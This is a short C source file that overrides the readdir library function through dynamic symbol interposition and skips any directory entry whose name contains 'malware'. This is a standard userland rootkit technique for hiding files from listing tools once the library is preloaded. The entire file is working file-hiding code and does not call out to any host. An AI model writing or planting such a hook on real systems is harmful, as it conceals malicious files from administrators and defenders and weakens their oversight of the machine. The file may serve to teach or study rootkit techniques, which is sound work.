myreadlib.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>


struct dirent *readdir(DIR* dirp){
	// Get a pointer to the original readdir function
	typeof(readdir) *old_readdir;
	old_readdir = dlsym(RTLD_NEXT, "readdir");

	// Get the real dirent struct from the original readdir function
	struct dirent *de = 0;
	de = (*old_readdir) (dirp);


	// Check if filename contains "malware", if so, set dirent to next
	// entry and return
	if(de != 0){
		if(strstr(de->d_name, "malware") != 0){
			de = (*old_readdir) (dirp);
		}
	}

	return de;
}